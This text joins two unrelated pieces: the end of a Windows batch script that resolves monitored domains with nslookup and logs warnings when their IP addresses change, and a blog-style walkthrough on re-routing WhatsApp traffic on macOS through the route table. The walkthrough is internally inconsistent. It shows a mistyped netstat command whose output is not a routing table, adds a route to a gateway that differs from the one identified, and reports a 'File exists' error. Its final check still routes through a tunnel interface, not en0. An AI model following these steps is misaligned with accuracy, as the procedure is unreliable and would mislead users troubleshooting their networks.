REM Perform nslookup and capture results
nslookup "%DOMAIN%" > temp_dns.txt 2>&1

REM Check if nslookup was successful
if %ERRORLEVEL% equ 0 (
    REM Extract IP addresses from nslookup output
    for /f "tokens=2" %%i in ('findstr /c:"Address:" temp_dns.txt ^| findstr /v "#53"') do (
        set "IP_ADDRESS=%%i"
        echo %DOMAIN%,!IP_ADDRESS! >> "%CURRENT_FILE%"
        echo [%DATE% %TIME%] INFO: %DOMAIN% resolves to !IP_ADDRESS! >> "%LOG_FILE%"
    )
    
    REM Handle case where no IP addresses were found in successful lookup
    findstr /c:"Address:" temp_dns.txt | findstr /v "#53" >nul
    if !ERRORLEVEL! neq 0 (
        echo %DOMAIN%,RESOLUTION_ERROR >> "%CURRENT_FILE%"
        echo [%DATE% %TIME%] ERROR: %DOMAIN% - No IP addresses found in DNS response >> "%LOG_FILE%"
        type temp_dns.txt >> "%LOG_FILE%"
        echo. >> "%LOG_FILE%"
    )
) else (
    REM DNS resolution failed
    echo %DOMAIN%,DNS_FAILURE >> "%CURRENT_FILE%"
    echo [%DATE% %TIME%] ERROR: %DOMAIN% - DNS resolution failed >> "%LOG_FILE%"
    type temp_dns.txt >> "%LOG_FILE%"
    echo. >> "%LOG_FILE%"
)

REM Clean up temporary file
if exist temp_dns.txt del temp_dns.txt

goto :EOF

REM ============================================================================
REM Function: COMPARE_RESULTS
REM Purpose: Compare current DNS results with previous results
REM ============================================================================
:COMPARE_RESULTS
echo Comparing DNS results for changes...

REM Read previous results into memory
if exist "%PREVIOUS_FILE%" (
    for /f "tokens=1,2 delims=," %%a in (%PREVIOUS_FILE%) do (
        set "PREV_%%a=%%b"
    )
)

REM Compare current results with previous
for /f "tokens=1,2 delims=," %%a in (%CURRENT_FILE%) do (
    set "CURRENT_DOMAIN=%%a"
    set "CURRENT_IP=%%b"
    
    REM Get previous IP for this domain
    set "PREVIOUS_IP=!PREV_%%a!"
    
    if "!PREVIOUS_IP!"=="" (
        REM New domain added
        echo [%DATE% %TIME%] INFO: New domain added to monitoring: !CURRENT_DOMAIN! = !CURRENT_IP! >> "%LOG_FILE%"
    ) else if "!PREVIOUS_IP!" neq "!CURRENT_IP!" (
        REM DNS change detected
        echo [%DATE% %TIME%] WARNING: DNS change detected for !CURRENT_DOMAIN! >> "%LOG_FILE%"
        echo [%DATE% %TIME%] WARNING: Previous IP: !PREVIOUS_IP! >> "%LOG_FILE%"
        echo [%DATE% %TIME%] WARNING: Current IP:  !CURRENT_IP! >> "%LOG_FILE%"
        echo [%DATE% %TIME%] WARNING: *** INVESTIGATE DNS CHANGE *** >> "%LOG_FILE%"
        echo. >> "%LOG_FILE%"
        
        REM Also display warning on console
        echo.
        echo *** WARNING: DNS CHANGE DETECTED ***
        echo Domain: !CURRENT_DOMAIN!
        echo Previous: !PREVIOUS_IP!
        echo Current:  !CURRENT_IP!
        echo Check log file for details: %LOG_FILE%
        echo.
    )
)

REM Check for domains that disappeared from current results
for /f "tokens=1,2 delims=," %%a in (%PREVIOUS_FILE%) do (
    set "CHECK_DOMAIN=%%a"
    set "FOUND=0"
    
    for /f "tokens=1 delims=," %%c in (%CURRENT_FILE%) do (
        if "%%c"=="!CHECK_DOMAIN!" set "FOUND=1"
    )
    
    if "!FOUND!"=="0" (
        echo [%DATE% %TIME%] WARNING: Domain !CHECK_DOMAIN! no longer resolving or removed from monitoring >> "%LOG_FILE%"
    )
)

goto :EOF

REM ============================================================================
REM End of Script
REM ============================================================================

Mac OSX: Altering the OS route table to re-direct the traffic of a website to a different interface (eg re-routing whatsapp traffic to en0)

This was a hard article to figure out the title for! Put simply, your mac book has a route table and if you want to move a specific IP address or dns from one interface to another, then follow the steps below:

First find the IP address of the website that you want to re-route the traffic for:

$ nslookup web.whatsapp.com
Server:		100.64.0.1
Address:	100.64.0.1#53

Non-authoritative answer:
web.whatsapp.com	canonical name = mmx-ds.cdn.whatsapp.net.
Name:	mmx-ds.cdn.whatsapp.net
Address: 102.132.99.60

We want to re-route traffic the traffic from: 102.132.99.60 to the default interface. So first lets find out which interface this traffic is currently being routed to?

$ route -n get web.whatsapp.com
   route to: 102.132.99.60
destination: 102.132.99.60
    gateway: 100.64.0.1
  interface: utun0
      flags: <UP,GATEWAY,HOST,DONE,WASCLONED,IFSCOPE,IFREF>
 recvpipe  sendpipe  ssthresh  rtt,msec    rttvar  hopcount      mtu     expire
       0         0         0        34        21         0      1400         0

So this is currently going to a tunnelled interface called utun0 on gateway 100.64.0.1.

Ok, so I want to move if off this tunnelled interface. So lets first display the kernel routing table. The -n option forces netstat to print the IP addresses. Without this option, netstat attempts to display the host names.

$ netstat - rn | head -n 5
Active Internet connections
Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)
tcp4       0    126  100.64.0.1.64770       136.226.216.14.https   ESTABLISHED
tcp4       0      0  100.64.0.1.64768       whatsapp-cdn-shv.https ESTABLISHED
tcp4       0      0  100.64.0.1.64766       52.178.17.3.https      ESTABLISHED

Now we want to re-route whatsapp to the default interface. So lets get the IP address of the default interface.

$ netstat -nr | grep default
default            192.168.8.1        UGScg                 en0
default                                 fe80::%utun1                            UGcIg               utun1
default                                 fe80::%utun2                            UGcIg               utun2
default                                 fe80::%utun3                            UGcIg               utun3
default                                 fe80::%utun4                            UGcIg               utun4
default                                 fe80::%utun5                            UGcIg               utun5
default                                 fe80::%utun0                            UGcIg               utun0

We can see that our en0 interface is on IP address: 192.168.8.1. So lets re-route the traffic from Whatsapp’s ip address to this interace’s IP address:

$ sudo route add 102.132.99.60 192.168.0.1
route: writing to routing socket: File exists
add host 102.132.99.60: gateway 192.168.8.1: File exists

Now lets test if we are routing via the correct interface:

$ route -n get 102.132.99.60
   route to: 102.132.99.60
destination: 102.132.99.60
    gateway: 192.168.8.1
  interface: utun6
      flags: <UP,GATEWAY,HOST,DONE,STATIC>
 recvpipe  sendpipe  ssthresh  rtt,msec    rttvar  hopcount      mtu     expire
       0         0         0         0         0         0      1400         0

Finally delete the route and recheck the routing:

$ sudo route delete 102.132.99.60
delete host 102.132.99.60

$ route -n get 102.132.99.60
   route to: 102.132.99.60
destination: 102.132.99.60
    gateway: 100.64.0.1
  interface: utun6
      flags: <UP,GATEWAY,HOST,DONE,WASCLONED,IFSCOPE,IFREF>
 recvpipe  sendpipe  ssthresh  rtt,msec    rttvar  hopcount      mtu     expire
       0         0         0         0         0         0      1400         0